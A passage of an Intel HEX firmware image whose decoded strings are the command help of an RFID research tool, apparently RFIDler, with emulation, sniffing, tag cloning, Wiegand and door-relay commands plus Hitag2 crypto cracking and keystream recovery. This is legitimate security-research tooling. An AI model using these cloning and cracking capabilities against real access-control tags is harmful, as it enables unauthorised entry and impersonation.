a48004156452053454c45435420202020202022\n:100a5800506f74656e74696f6d6574657220536547\n:100a68006c6563740d0a0000202033392020202093\n:100a780020202020202020524631332f53434b344e\n:100a8800202020205350493420434c4f434b2020f2\n:100a9800202020202020202020202020506f746536\n:100aa8006e74696f6d6574657220436c6f636b0d4e\n:100ab8000a00000020203537202020202020202078\n:100ac8002020205247322f442b2020202020202075\n:100ad800442b2020202020202020202020202020df\n:100ae800202020202020202055534220442b0d0a6e\n:100af8000000000020203536202020202020202043\n:100b08002020205247332f442d2020202020202031\n:100b1800442d20202020202020202020202020209c\n:100b2800202020202020202055534220442d0d0a2b\n:100b3800000000002020313020202020202020200c\n:100b4800202020524736202020202020202020202e\n:100b58004c45443520202020202020202020202003\n:100b6800202020202020202052656164204c45440c\n:100b780020477265656e0d0a0000000020203131a3\n:100b880020202020202020202020205247372f55a9\n:100b98003352582020202020434c4920554152549c\n:100ba80033205258202020202020202020202020c0\n:100bb8005541525420434c492f4150490d0a0000d9\n:100bc80020203132202020202020202020202052c8\n:100bd80047382f553354582020202020434c492093\n:100be80055415254332054582020202020202020c2\n:100bf800202020205541525420434c492f41504930\n:100c08000d0a000020203134202020202020202020\n:100c1800202020524739202020202020202020205a\n:100c2800456d756c6174696f6e20434f494c202087\n:100c38002020202020202020456d756c6174696f6c\n:100c48006e20434f494c0d0a000000002020353427\n:100c580020202020202020202020205642555320cc\n:100c6800202020202020202056427573202020207c\n:100c7800202020202020202020202020202020206c\n:100c880055534220564275730d0a0000574945478f\n:100c9800414e442d4c4541524e0000005761697445\n:100ca800696e6720666f722065787465726e616c14\n:100cb8002057696567616e6420726561646572209a\n:100cc8002868697420616e79206b657920746f20bb\n:100cd80061626f7274292e2e2e0d0a0057494547fe\n:100ce800414e442d4f5554204f46460057494547dd\n:100cf800414e442d4f5554204f4e0000574945470b\n:100d0800414e442d52454144000000005749454793\n:100d1800414e442d57524954452000005769656794\n:100d2800616e6420706172616d6574657273206ea6\n:100d38006f74207365742100574950450000000006\n:100d480057524954452000002a000000414e414caa\n:100d58004f4755455b4e5d203c23204f462053416d\n:100d68004d504c45533e202020202020202020207c\n:100d7800202020202020202020202020202020206b\n:100d880020202020202020202053616d706c6520b9\n:100d980072617720636f696c20285b4e5d6f206cf1\n:100da8006f63616c20636c6f636b292026206f75fd\n:100db8007470757420696e20584d4c202848455829\n:100dc800290d0a0041504455203c434c412b494ec3\n:100dd800532b50312b50325b2b4c432b4441544105\n:100de8005d5b2b4c455d3e202020202020202020cc\n:100df80020202020202020202020202020202020eb\n:100e0800205472616e736d697420284845582920f2\n:100e180049534f2d373831362d3420415044552011\n:100e2800746f20536d617274436172642e20526531\n:100e38007475726e206973205b444154415d2b3c8c\n:100e48005357313e2b3c5357323e0d0a00000000e9\n:100e58004150492020202020202020202020202010\n:100e6800202020202020202020202020202020207a\n:100e7800202020202020202020202020202020206a\n:100e88002020202020202020202020202053776987\n:100e980074636820746f20415049206d6f64650d3c\n:100ea8000a00000041534b203c484558205549440e\n:100eb8003e203c46433e203c524154453e203c5255\n:100ec80045504541543e202020202020202020202d\n:100ed800202020202020202020202020202020200a\n:100ee80020456d756c6174652041534b2c20466913\n:100ef800656c6420436c6f636b20696e2075532f9b\n:100f08003130302c2044617461205261746520694d\n:100f18006e2052462f6e0d0a0000000041545220e8\n:100f280020202020202020202020202020202020b9\n:100f380020202020202020202020202020202020a9\n:100f48002020202020202020202020202020202099\n:100f580020202020202020202047657420416e7307\n:100f680077657220546f2052657365742066726fbe\n:100f78006d20536d617274436172640d0a00000044\n:100f880041555448205b484558204b45595d205be6\n:100f9800424c4f434b5d2020202020202020202041\n:100fa8002020202020202020202020202020202039\n:100fb800202020202020202020202020204175745f\n:100fc80068656e74696361746520696e204352595f\n:100fd80050544f206d6f64650d0a00004155544f01\n:100fe800504f542020202020202020202020202066\n:100ff80020202020202020202020202020202020e9\n:1010080020202020202020202020202020202020d8\n:101018002020202020202020204175746f2d446539\n:101028007465637420696465616c20504f54207343\n:10103800657474696e672873290d0a004155544f09\n:1010480052415445202020202020202020202020ec\n:101058002020202020202020202020202020202088\n:101068002020202020202020202020202020202078\n:101078002020202020202020204175746f2d4465d9\n:1010880074656374206461746120726174650d0a0b\n:10109800000000004155544f52554e205b4f4646c4\n:1010a800207c20434f4d4d414e44205b41524753d5\n:1010b8005d5d2020202020202020202020202020ae\n:1010c8002020202020202020202020202020202018\n:1010d800205365742f53686f772073746172747529\n:1010e8007020636f6d6d616e640d0a004155544f39\n:1010f800544147202020202020202020202020206c\n:1011080020202020202020202020202020202020d7\n:1011180020202020202020202020202020202020c7\n:101128002020202020202020204175746f2d446528\n:10113800746563742054414720747970650d0a0002\n:1011480042494e544f484558203c42494e3e202083\n:101158002020202020202020202020202020202087\n:101168002020202020202020202020202020202077\n:101178002020202020202020202020202053686f9d\n:10118800772042494e4152592061732048455820e2\n:10119800737472696e670d0a00000000424c2020cb\n:1011a8002020202020202020202020202020202037\n:1011b8002020202020202020202020202020202027\n:1011c8002020202020202020202020202020202017\n:1011d8002020202020202020205265626f6f74205c\n:1011e800696e20424f4f544c4f41444552206d6f19\n:1011f80064650d0a00000000434c4920202020208f\n:1012080020202020202020202020202020202020d6\n:1012180020202020202020202020202020202020c6\n:1012280020202020202020202020202020202020b6\n:10123800202020202053776974636820746f20432e\n:101248004c49206d6f64650d0a000000434f494cfe\n:10125800203c484947487c4c4f573e2020202020be\n:101268002020202020202020202020202020202076\n:101278002020202020202020202020202020202066\n:1012880020202020202020202053657420656d75a3\n:101298006c61746f7220636f696c206f7574707500\n:1012a8007420484947482f4c4f570d0a000000004a\n:1012b800434f4e4649472020202020202020202030\n:1012c8002020202020202020202020202020202016\n:1012d8002020202020202020202020202020202006\n:1012e8002020202020202020202020202053686f2c\n:1012f800772063757272656e74204e564d20636f49\n:101308006e6669670d0a0000434f4e5645525420d9\n:101318003c544147545950453e202020202020204d\n:1013280020202020202020202020202020202020b5\n:1013380020202020202020202020202020202020a5\n:101348002020202020436f6e766572742056544109\n:101358004720746f20544147545950450d0a0000e6\n:10136800434c4f434b48203c485a3e2020202020e5\n:101378002020202020202020202020202020202065\n:101388002020202020202020202020202020202055\n:1013980020202020202020202020202020456e6191\n:1013a800626c6520482f5720544f47474c452043cf\n:1013b8004c4f434b202874696d696e677320696ec2\n:1013c80020487a2c206d6178203235302c3030302e\n:1013d800290d0a00434c4f434b50203c50573e20a8\n:1013e8003c504552494f443e2020202020202020b8\n:1013f80020202020202020202020202020202020e5\n:1014080020202020202020202020202020202020d4\n:1014180020456e61626c6520482f572050574d203b\n:10142800434c4f434b202874696d696e677320697c\n:101438006e2075532f3130302c206d617820353374\n:101448002c3638372c303931290d0a00434c4f439c\n:101458004b54203c504552494f443e2020202020e8\n:101468002020202020202020202020202020202074\n:101478002020202020202020202020202020202064\n:10148800202020202020202020456e61626c6520cd\n:10149800482f5720544f47474c4520434c4f434b08\n:1014a800202874696d696e677320696e2075532fe3\n:1014b8003130302c206d61782035332c3638372c7c\n:1014c800303931290d0a0000434c4f4e45205b4806\n:1014d8004558204b45597c5057445d2020202020fa\n:1014e80020202020202020202020202020202020f4\n:1014f80020202020202020202020202020202020e4\n:101508002020202020436f707920566972747561fd\n:101518006c2054414720746f2054414720286d6146\n:1015280079207265717569726520617574682f6cb0\n:101538006f67696e290d0a00434f5059205b54416b\n:1015480047545950455d205b484558204b45597cc8\n:101558005057445d202020202020202020202020bb\n:101568002020202020202020202020202020202073\n:101578002020202020436f70792054414720286183\n:101588006e64206f7074696f6e616c6c7920636f24\n:101598006e766572742920746f205669727475614d\n:1015a8006c2054414720286d6179207265717569f6\n:1015b800726520617574682f6c6f67696e290d0af2\n:1015c800000000004445425547205b312d345d2022\n:1015d8002020202020202020202020202020202003\n:1015e80020202020202020202020202020202020f3\n:1015f80020202020202020202020202020202020e3\n:1016080020546f67676c65204445425547206c69d4\n:101618006e6520737461746520286e6f206172672f\n:10162800756d656e7420746f2053484f572063752d\n:101638007272656e7420737461746573290d0a0083\n:1016480044454255474f4646203c302d343e2020e5\n:101658002020202020202020202020202020202082\n:101668002020202020202020202020202020202072\n:1016780020202020202020202020202020444542f7\n:101688005547206f666620284c4f57292028302060\n:10169800666f7220414c4c290d0a000044454255a2\n:1016a800474f4e203c302d343e2020202020202043\n:1016b8002020202020202020202020202020202022\n:1016c8002020202020202020202020202020202012\n:1016d8002020202020202020204445425547206fec\n:1016e8006e2028484947482920283020666f7220f4\n:1016f800414c4c290d0a00004445544543542020d0\n:1017080020202020202020202020202020202020d1\n:1017180020202020202020202020202020202020c1\n:1017280020202020202020202020202020202020b1\n:1017380020202020204465746563742065787465d2\n:10174800726e616c20636c6f636b207769746820bc\n:1017580052454144455220636f696c0d0a000000f0\n:10176800444f4f52203c434c4f53457c4f50454ebd\n:101778003e20202020202020202020202020202043\n:101788002020202020202020202020202020202051\n:1017980020202020202020202020202020436c6f83\n:1017a8007365206f72204f70656e20444f4f522032\n:1017b80052454c41590d0a0044554d50203c535454\n:1017c80041525420424c4f434b3e205b454e4420ef\n:1017d800424c4f434b5d20202020202020202020f9\n:1017e80020202020202020202020202020202020f1\n:1017f80020202020205265616420616e6420766973\n:101808006577206461746120626c6f636b2873294b\n:1018180020286d617920726571756972652061751e\n:1018280074682f6c6f67696e290d0a00454d552045\n:101838003c5549443e2020202020202020202020e4\n:101848002020202020202020202020202020202090\n:101858002020202020202020202020202020202080\n:101868002020202020202020204f6e652d73686fb7\n:101878007420656d756c61746520554944207769dd\n:1018880074682063757272656e74205441472063d2\n:101898006f6e6669670d0a00454d554c41544f52ad\n:1018a800205b42475d20202020202020202020206f\n:1018b8002020202020202020202020202020202020\n:1018c8002020202020202020202020202020202010\n:1018d8002020202020436f6e74696e756f75736cbd\n:1018e8007920656d756c6174652056544147205b9d\n:1018f8006f7074696f6e616c6c7920696e207468a2\n:1019080065204261636b47726f756e645d0d0a00f6\n:10191800454e434f4445203c5549443e205b544185\n:1019280047545950455d2020202020202020202089\n:10193800202020202020202020202020202020209f\n:101948002020202020202020202020202053686fc5\n:1019580077207261772048455820554944206f7296\n:1019680020637265617465205654414720666f7222\n:1019780020656e636f646564205549440d0a000054\n:101988004558414d504c45532020202020202020f0\n:10199800202020202020202020202020202020203f\n:1019a800202020202020202020202020202020202f\n:1019b8002020202020202020202020202053686f55\n:1019c8007720736f6d6520656d756c6174696f6ed6\n:1019d800206578616d706c65730d0a0046534b2065\n:1019e8003c484558205549443e203c46433e203c0f\n:1019f800524154453e203c535542303e203c5355bd\n:101a080042313e203c5245504541543e2020202042\n:101a1800202020202020202020456d756c617465d1\n:101a28002046534b2c204669656c6420436c6f63d9\n:101a38006b20696e2075532f3130302c204461742f\n:101a480061205261746520696e2052462f6e2c0dfc\n:101a58000a20202020202020202020202020202094\n:101a6800202020202020202020202020202020206e\n:101a7800202020202020202020202020202020205e\n:101a8800202020202020202020202020202020204e\n:101a98002020202020202053756220436172726923\n:101aa80065727320302f3120696e2052462f6e0ddb\n:101ab8000a0000004652455155454e435920202002\n:101ac800202020202020202020202020202020200e\n:101ad80020202020202020202020202020202020fe\n:101ae80020202020202020202020202020202020ee\n:101af8002053686f77207265736f6e616e7420660d\n:101b080072657175656e6379206f6620636f696ca5\n:101b18000d0a000048454c5020202020202020207d\n:101b280020202020202020202020202020202020ad\n:101b3800202020202020202020202020202020209d\n:101b4800202020202020202020202020202020208d\n:101b58002053686f7720746869732068656c700d0e\n:101b68000a000000484558544f42494e203c484519\n:101b7800583e202020202020202020202020202007\n:101b8800202020202020202020202020202020204d\n:101b9800202020202020202020202020202020203d\n:101ba8002053686f77204845582061732042494e7a\n:101bb80041525920737472696e670d0a0000000063\n:101bc8004849544147322d435241434b203c4e52e1\n:101bd8002f50524e3e203c41522f534543524554bc\n:101be8003e202020202020202020202020202020cf\n:101bf8002020202020202020202020202043726127\n:101c0800636b2048695461673220636172642063a2\n:101c1800727970746f2028534e4946462d50574d9f\n:101c2800206669727374290d0a00000048495441fe\n:101c380047322d4b455953545245414d203c4e5245\n:101c48002f50524e3e203c41522f5345435245544b\n:101c58003e2020202020202020202020202020205e\n:101c6800202020202020202020526574726965766b\n:101c78006520486954616732206361726420637229\n:101c88007970746f206b657973747265616d202843\n:101c9800534e4946462d50574d2066697273742934\n:101ca8000d0a00004849544147322d5245414445e8\n:101cb80052205b4b45595d205b535d20202020203e\n:101cc800202020202020202020202020202020200c\n:101cd80020202020202020202020202020202020fc\n:101ce80020526561646572206d6f646520666f724d\n:101cf8002063727970746f2061757468656e746999\n:101d0800636174656420486954616732206f706547\n:101d1800726174696f6e73202d20532073746f7213\n:101d2800657320746f204e5652414d0d0a00000015\n:101d38004849544147322d434c45415253544f5220\n:101d48004544544147532020202020202020202093\n:101d5800202020202020202020202020202020207b\n:101d680020202020202020202020202020436c65b7\n:101d78006172732074686520486954616732207401\n:101d88006167732066726f6d204e5652414d0d0a81\n:101d9800000000004849544147322d434f554e54e6\n:101da80053544f524544544147532020202020206b\n:101db800202020202020202020202020202020201b\n:101dc800202020202020202020202020202020200b\n:101dd80020446973706c61797320746865206e752e\n:101de8006d626572206f662048695461673220749d\n:101df8006167732073746f72656420696e204e5634\n:101e080052414d0d0a0000004849544147322d4cbb\n:101e180049535453544f52454454414753205b53fc\n:101e2800544152545d205b454e445d2020202020c3\n:101e3800202020202020202020202020202020209a\n:101e48002020202020446973706c617973207468a5\n:101e5800652073746f72656420746167732066729d\n:101e68006f6d20535441525420746f20454e440dd9\n:101e78000a0000004c4f4144202020202020202030\n:101e8800202020202020202020202020202020204a\n:101e9800202020202020202020202020202020203a\n:101ea800202020202020202020202020202020202a\n:101eb800204c6f616420636f6e6669672066726f7d\n:101ec8006d204e564d0d0a004c4544203c312d36b0\n:101ed8003e202020202020202020202020202020dc\n:101ee80020202020202020202020202020202020ea\n:101ef80020202020202020202020202020202020da\n:101f08002020202020546f67676c65204c45440dc5\n:101f18000a0000004c45444f4646203c302d363ed2\n:101f280020202020202020202020202020202020a9\n:101f38002020202020202020202020202020202099\n:101f48002020202020202020202020202020202089\n:101f5800204c4544206f666620283020666f72202a\n:101f6800414c4c290d0a00004c45444f4e203c3052\n:101f78002d363e2020202020202020202020202018\n:101f88002020202020202020202020202020202049\n:101f98002020202020202020202020202020202039\n:101fa80020202020204c4544206f6e2028302066b9\n:101fb8006f7220414c4c290d0a0000004c4f4749d4\n:101fc8004e205b5057445d205b424c4f434b5d2095\n:101fd80020202020202020202020202020202020f9\n:101fe80020202020202020202020202020202020e9\n:101ff80020202020202020202041757468656e74e0\n:10200800696361746520696e2050415353574f527c\n:1020180044206d6f64650d0a0000000050494e476a\n:1020280020202020202020202020202020202020a8\n:102038002020202020202020202020202020202098\n:102048002020202020202020202020202020202088\n:102058002020202020202020204b656570616c699d\n:102068007665202d207072696e7473202752464958\n:10207800446c6572270d0a0050494e5320202020d9\n:102088002020202020202020202020202020202048\n:102098002020202020202020202020202020202038\n:1020a8002020202020202020202020202020202028\n:1020b800202020202053686f7720776972696e6727\n:1020c800206469616772616d2028616c6961733a87\n:1020d80020574952455320574952494e47290d0a1e\n:1020e80000000000504f54532020202020202020a2\n:1020f80020202020202020202020202020202020d8\n:1021080020202020202020202020202020202020c7\n:1021180020202020202020202020202020202020b7\n:102128002053686f7720504f54207769706572206c\n:1021380073657474696e67730d0a0000504f5449d3\n:102148004e43203c487c4c3e203c312d3235353eb8\n:102158002020202020202020202020202020202077\n:102168002020202020202020202020202020202067\n:10217800202020202020202020496e6372656d6574\n:102188006e7420504f540d0a00000000504f544404\n:102198004543203c487c4c3e203c312d3235353e71\n:1021a8002020202020202020202020202020202027\n:1021b8002020202020202020202020202020202017\n:1021c80020202020202020202044656372656d6532\n:1021d8006e7420504f540d0a00000000504f5453a5\n:1021e80045545b565d5b4e565d203c487c4c3e201a\n:1021f8003c302d3235353e20202020202020202044\n:1022080020202020202020202020202020202020c6\n:10221800202020202020202020536574205b566f2a\n:102228006c74735d5b4e6f6e20566f6c6174696c75\n:10223800655d20504f542077697065720d0a000063\n:1022480050534b31203c484558205549443e203c8a\n:1022580046433e203c524154453e203c5355423e65\n:10226800203c5245504541543e202020202020202b\n:1022780020202020202020202020202020456d758f\n:102288006c6174652050534b312c204669656c6431\n:1022980020436c6f636b20696e2075532f3130308b\n:1022a8002c2044617461205261746520696e20524b\n:1022b800462f6e2c0d0a20202020202020202020b0\n:1022c8002020202020202020202020202020202006\n:1022d80020202020202020202020202020202020f6\n:1022e80020202020202020202020202020202020e6\n:1022f800202020202020202020202020537562200c\n:102308004361727269657220696e2052462f6e0da4\n:102318000a00000050574d203c46433e203c534c99\n:102328004545503e203c57414b453e203c50573098\n:102338003e203c5057313e203c4741503e203c54c3\n:102348005852583e203c525854583e2020202020b5\n:10235800205365742050574d20706172616d65740b\n:1023680065727320666f722052574420636f6d6ddb\n:10237800616e64732c204669656c6420436c6f63de\n:102388006b20696e2075532f3130302c2074696da5\n:10239800696e677320696e204643730d0a0000005a\n:1023a80052454144203c535441525420424c4f43df\n:1023b8004b3e205b454e4420424c4f434b5d202012\n:1023c8002020202020202020202020202020202005\n:1023d800202020202020202020202020205265613d\n:1023e8006420616e642073746f7265206461746127\n:1023f80020626c6f636b28732920286d61792072c5\n:1024080065717569726520617574682f6c6f67698d\n:102418006e290d0a00000000524541444552202013\n:1024280020202020202020202020202020202020a4\n:102438002020202020202020202020202020202094\n:102448002020202020202020202020202020202084\n:102458002020202020476f20696e746f205245414c\n:10246800444552206d6f64652028636f6e74696ef1\n:10247800756f75736c792061637175697265205524\n:102488004944290d0a0000005245424f4f5420206c\n:102498002020202020202020202020202020202034\n:1024a8002020202020202020202020202020202024\n:1024b8002020202020202020202020202020202014\n:1024c8002020202020506572666f726d20736f6621\n:1024d800742072657365740d0a000000525443201d\n:1024e80020202020202020202020202020202020e4\n:1024f80020202020202020202020202020202020d4\n:1025080020202020202020202020202020202020c3\n:1025180020202020202020202053686f772052651b\n:10252800616c2054696d6520436c6f636b0d0a0004\n:10253800525744203c42494e4152593e20202020c7\n:102548002020202020202020202020202020202083\n:102558002020202020202020202020202020202073\n:102568002020202020202020202020202053656e9d\n:10257800642062696e61727920636f6d6d616e644b\n:102588002f646174610d0a005341564520202020b4\n:102598002020202020202020202020202020202033\n:1025a8002020202020202020202020202020202023\n:1025b8002020202020202020202020202020202013\n:1025c8002020202020536176652063757272656e25\n:1025d8007420636f6e66696720746f204e564d0dc8\n:1025e8000a00000053454c454354205b5549445d5f\n:1025f80020202020202020202020202020202020d3\n:1026080020202020202020202020202020202020c2\n:1026180020202020202020202020202020202020b2\n:102628002053656e642053454c45435420636f6db9\n:102638006d616e640d0a00005345542042495048ac\n:10264800415345203c4f4e7c4f46463e202020209b\n:102658002020202020202020202020202020202072\n:102668002020202020202020202020202020202062\n:1026780020202020205365742042695068617365ca\n:1026880020656e636f64696e670d0a0053455420b8\n:1026980042495453203c424954533e202020202094\n:1026a8002020202020202020202020202020202022\n:1026b8002020202020202020202020202020202012\n:1026c800202020202020202020536574206e756d46\n:1026d800626572206f662064617461206269747338\n:1026e8000d0a0000534554204643203c50455249aa\n:1026f8004f443e2020202020202020202020202061\n:1027080020202020202020202020202020202020c1\n:1027180020202020202020202020202020202020b1\n:1027280020536574204669656c6420436c6f636b45\n:1027380020696e2075532f3130300d0a00000000db\n:1027480053455420494e56455254203c4f4e7c4fd9\n:1027580046463e2020202020202020202020202007\n:102768002020202020202020202020202020202061\n:102778002020202020202020202020202053657485\n:10278800206461746120696e76657273696f6e0d7d\n:102798000a000000534554204d414e4348455354c8\n:1027a8004552203c4f4e7c4f46463e20202020205c\n:1027b8002020202020202020202020202020202011\n:1027c8002020202020202020202020202020202001\n:1027d80020536574204d616e63686573746572205b\n:1027e800656e636f64696e670d0a00005345542077\n:1027f8004d4f44203c41534b7c46534b7c50534bec\n:10280800313e202020202020202020202020202091\n:1028180020202020202020202020202020202020b0\n:10282800202020202020202020536574206d6f64f4\n:10283800756c6174696f6e20736368656d650d0ae8\n:10284800000000005345542050534b203c51554143\n:102858004c4954593e202020202020202020202090\n:102868002020202020202020202020202020202060\n:102878002020202020202020202020202020202050\n:1028880020536574206d696e696d756d2050534bca\n:102898002070756c736520776964746820696e2090\n:1028a80075530d0a00000000534554205241544509\n:1028b800203c524154453e2020202020202020202a\n:1028c8002020202020202020202020202020202000\n:1028d80020202020202020202020202020202020f0\n:1028e80020202020205365742044617461205261a7\n:1028f800746520696e2052462f6e202846432f6249\n:102908006974290d0a00000053455420524550456a\n:102918004154203c5245504541543e20202020201f\n:10292800202020202020202020202020202020209f\n:10293800202020202020202020202020202020208f\n:10294800202020202053657420656d756c617469a2\n:102958006f6e207472616e736d697373696f6e2028\n:1029680072657065746974696f6e730d0a00000092\n:102978005345542053554230203c524154453e2043\n:10298800202020202020202020202020202020203f\n:10299800202020202020202020202020202020202f\n:1029a8002020202020202020202020202053657453\n:1029b8002053756220436172726965722030206409\n:1029c800617461207261746520696e2052462f6eb1\n:1029d800202846432f626974290d0a005345542064\n:1029e80053554231203c524154453e20202020205e\n:1029f80020202020202020202020202020202020cf\n:102a080020202020202020202020202020202020be\n:102a18002020202020202020205365742053756218\n:102a2800204361727269657220312064617461208b\n:102a38007261746520696e2052462f6e20284643c5\n:102a48002f626974290d0a005345542053594e4387\n:102a580042495453203c424954533e2020202020d0\n:102a6800202020202020202020202020202020205e\n:102a7800202020202020202020202020202020204e\n:102a88002020202020536574206e756d62657220a9\n:102a98006f662053594e4320626974730d0a000013\n:102aa8005345542053594e433c302d333e203c4827\n:102ab80045583e2020202020202020202020202093\n:102ac80020202020202020202020202020202020fe\n:102ad8002020202020202020202020202053657422\n:102ae8002053594e43206279746520302d330d0ae6\n:102af8000000000053455420544147203c5459508d\n:102b0800453e20202020202020202020202020207a\n:102b180020202020202020202020202020202020ad\n:102b2800202020202020202020202020202020209d\n:102b38002053657420706172616d657465727320cd\n:102b4800617070726f70726961746520666f72204f\n:102b580054414720545950450d0a0000534554200c\n:102b680056544147203c545950453e2020202020af\n:102b7800202020202020202020202020202020204d\n:102b8800202020202020202020202020202020203d\n:102b98002020202020202020205365742056697290\n:102ba8007475616c2054414720545950450d0a00f2\n:102bb800534e4946464552202020202020202020e0\n:102bc80020202020202020202020202020202020fd\n:102bd80020202020202020202020202020202020ed\n:102be80020202020202020202020202020476f2067\n:102bf800696e746f20534e4946464552206d6f6486\n:102c0800652028636f6e74696e756f75736c7920b3\n:102c1800736e69666620554944290d0a0000000054\n:102c2800534e4946462d50574d205b4d494e20473f\n:102c380041505d205b4d494e2050554c53455d2019\n:102c48005b4d455347204741505d202020202020e0\n:102c580020202020202020202020202020536e69a2\n:102c680066662050574d206f6e2065787465726ec9\n:102c7800616c20636c6f636b2077697468205245c0\n:102c88004144455220636f696c2e2056616c75650e\n:102c98007320696e207553202864656661756c74ad\n:102ca8002031322f302f30292e0d0a00534e49463d\n:102cb800462d50574d203c437c537c4c3e202020d1\n:102cc80020202020202020202020202020202020fc\n:102cd80020202020202020202020202020202020ec\n:102ce800202020202020202020536e696666205056\n:102cf800574d2028486954616732206d6f646529f3\n:102d080020746f204e5652414d202d20434c454192\n:102d1800522c2053544f52452c204c4953540d0ae1\n:102d28000000000053544f50202020202020202055\n:102d3800202020202020202020202020202020208b\n:102d4800202020202020202020202020202020207b\n:102d5800202020202020202020202020202020206b\n:102d68002053746f7020616e792072756e6e696e73\n:102d78006720636c6f636b730d0a000054414753ff\n:102d8800202020202020202020202020202020203b\n:102d9800202020202020202020202020202020202b\n:102da800202020202020202020202020202020201b\n:102db80020202020202020202053686f77206b6e51\n:102dc8006f776e205441472054595045530d0a00df\n:102dd80054434f4e464947202020202020202020c1\n:102de80020202020202020202020202020202020db\n:102df80020202020202020202020202020202020cb\n:102e08002020202020202020202020202053686ff0\n:102e18007720544147277320636f6e666967206285\n:102e28006c6f636b0d0a0000544553542d48495488\n:102e38004147202020202020202020202020202042\n:102e4800202020202020202020202020202020207a\n:102e5800202020202020202020202020202020206a\n:102e680020202020204869746167322063727970bd\n:102e7800746f202d207465737420636f727265639c\n:102e8800746e65737320262074696d696e670d0a08\n:102e980000000000544553542d525744205b4845c8\n:102ea80058204b45597c5041545445524e7c5057fc\n:102eb800445d2020202020202020202020202020a9\n:102ec80020202020202020202020202020202020fa\n:102ed8002046696e6420696465616c207061726166\n:102ee8006d617465727320666f7220525744206357\n:102ef8006f6d6d616e64730d0a0000005445535484\n:102f08002d53432020202020202020202020202056\n:102f180020202020202020202020202020202020a9\n:102f28002020202020202020202020202020202099\n:102f3800202020202020202020546573742049530d\n:102f48004f2d3738313620536d6172746361726466\n:102f5800202867657420415452290d0a000000009a\n:102f6800544553542d534420202020202020202035\n:102f78002020202020202020202020202020202049\n:102f88002020202020202020202020202020202039\n:102f9800202020202020202020202020205465735d\n:102fa80074205344206361726420286469726563e5\n:102fb800746f7279206c697374696e67290d0a00e1\n:102fc800544553542d54494d45522020202020204b\n:102fd80020202020202020202020202020202020e9\n:102fe80020202020202020202020202020202020d9\n:102ff8002020202020202020202020202054696dff\n:1030080065722074657374730d0a00005445535437\n:103018002d57494547414e4420202020202020207c\n:103028002020202020202020202020202020202098\n:103038002020202020202020202020202020202088\n:1030480020202020202020202057696567616e6499\n:10305800206c6f6f706261636b20746573740d0a06\n:1030680000000000544553542d57494547414e44ec\n:103078002d52454144203c44454255472050494e35\n:103088003e2020202020202020202020202020201a\n:103098002020202020202020202020202020202028\n:1030a8002057696567616e64207265616465722086\n:1030b8007465737420287472696767657273207702\n:1030c8006974682044454255475f50494e5f582906\n:1030d8000d0a0000545245534554205b5057445d37\n:1030e80020202020202020202020202020202020d8\n:1030f80020202020202020202020202020202020c8\n:1031080020202020202020202020202020202020b7\n:1031180020526573657420544147277320636f6e8e\n:1031280066696720626c6f636b20746f20646566e4\n:1031380061756c740d0a000054524953544154454a\n:10314800203c4f4e7c4f46463e2020202020202009\n:103158002020202020202020202020202020202067\n:103168002020202020202020202020202020202057\n:103178002020202020537769746368207265616479\n:1031880065722063697263756974207472692d733e\n:1031980074617465204f4e2f4f46460d0a0000009b\n:1031a8005457495045205b5057445d20202020202b\n:1031b8002020202020202020202020202020202007\n:1031c80020202020202020202020202020202020f7\n:1031d800202020202020202020202020205265731d\n:1031e80065742054414720636f6e74656e74732054\n:1031f800746f2064656661756c7420282a2a2a20f9\n:10320800616c6c20646174612077696c6c20626504\n:10321800206c6f737421290d0a0000005549442061\n:103228002020202020202020202020202020202096\n:103238002020202020202020202020202020202086\n:103248002020202020202020202020202020202076\n:103258002020202020202020205265616420544115\n:1032680047205549440d0a0056455253494f4e20b0\n:103278002020202020202020202020202020202046\n:103288002020202020202020202020202020202036\n:103298002020202020202020202020202020202026\n:1032a800202020202053686f77206669726d77612f\n:1032b80072652076657273696f6e0d0a00000000f2\n:1032c8005654414720202020202020202020202044\n:1032d80020202020202020202020202020202020e6\n:1032e80020202020202020202020202020202020d6\n:1032f8002020202020202020202020202053686ffc\n:103308007720636f6e74656e7473206f66205669dc\n:10331800727475616c205441470d0a005657524922\n:103328005445203c424c4f434b3e203c4845582096\n:10333800444154413e2020202020202020202020cd\n:103348002020202020202020202020202020202075\n:1033580020202020202020202057726974652056c4\n:10336800544147206461746120626c6f636b2873f9\n:10337800290d0a0057494547414e442d4c454152b5\n:103388004e20202020202020202020202020202007\n:103398002020202020202020202020202020202025\n:1033a8002020202020202020202020202020202015\n:1033b800204c6561726e2057696567616e6420698b\n:1033c8006e7075742074696d696e67730d0a0000fc\n:1033d80057494547414e442d4f5554203c4f46468a\n:1033e8007c4f4e3e202020202020202020202020fe\n:1033f80020202020202020202020202020202020c5\n:1034080020202020202020202020202020536574e8\n:103418002057696567616e64206f757470757420d4\n:103428004f4646206f72204f4e0d0a0057494547b8\n:10343800414e442d52454144202020202020202068\n:103448002020202020202020202020202020202074\n:103458002020202020202020202020202020202064\n:1034680020202020202020202052656164205769d8\n:103478006567616e6420696e7075740d0a000000de\n:1034880057494547414e442d5752495445203c42df\n:10349800494e4152593e2020202020202020202023\n:1034a8002020202020202020202020202020202014\n:1034b8002020202020202020202020202053656e3e\n:1034c800642057696567616e64206f7574707574e0\n:1034d8000d0a000057495045202020202020202098\n:1034e80020202020202020202020202020202020d4\n:1034f80020202020202020202020202020202020c4\n:1035080020202020202020202020202020202020b3\n:103518002057697065204e564d0d0a005752495480\n:1035280045203c424c4f434b3e203c4845582044a4\n:103538004154413e202020202020202020202020ef\n:103548002020202020202020202020202020202073\n:1035580020202020202020202057726974652064b4\n:1035680061746120626c6f636b20286d61792072d1\n:10357800657175697265206c6f67696e2f61757406\n:1035880068290d0a000000005749524553202020a1\n:103598002020202020202020202020202020202023\n:1035a8002020202020202020202020202020202013\n:1035b8002020202020202020202020202020202003\n:1035c800202020202053686f7720776972696e6702\n:1035d800206469616772616d2028616c6961733a62\n:1035e80020574952494e472050494e53290d0a0049\n:1035f800574952494e4720202020202020202020b3\n:1036080020202020202020202020202020202020b2\n:1036180020202020202020202020202020202020a2\n:103628002020202020202020202020202053686fc8\n:103638007720776972696e67206469616772616d66\n:103648002028616c6961733a2057495245532050cc\n:10365800494e53290d0a00000000803f20bcbe4c93\n:04366800a1a0a03c41\n:020000040000fa\n:020000041d02db\n:10366c0010ffbd27ec00bfafe800beaf21f0a003f8\n:10367c00f000c4aff400c5af1400c0af059d023c10\n:10368c002c8644240413410f000000001800c227ac\n:10369c0021204000b6ad400f00000000080040148f\n:1036ac0000000000059d023c308644240413410fa9\n:1036bc0000000000211000003d8e400b00000000b7\n:1036cc002400c3271800c2272120600021284000b5\n:1036dc00cbb8400f00000000f400c48f200005247c\n:1036ec00c658410f000000001400c2af1400c28f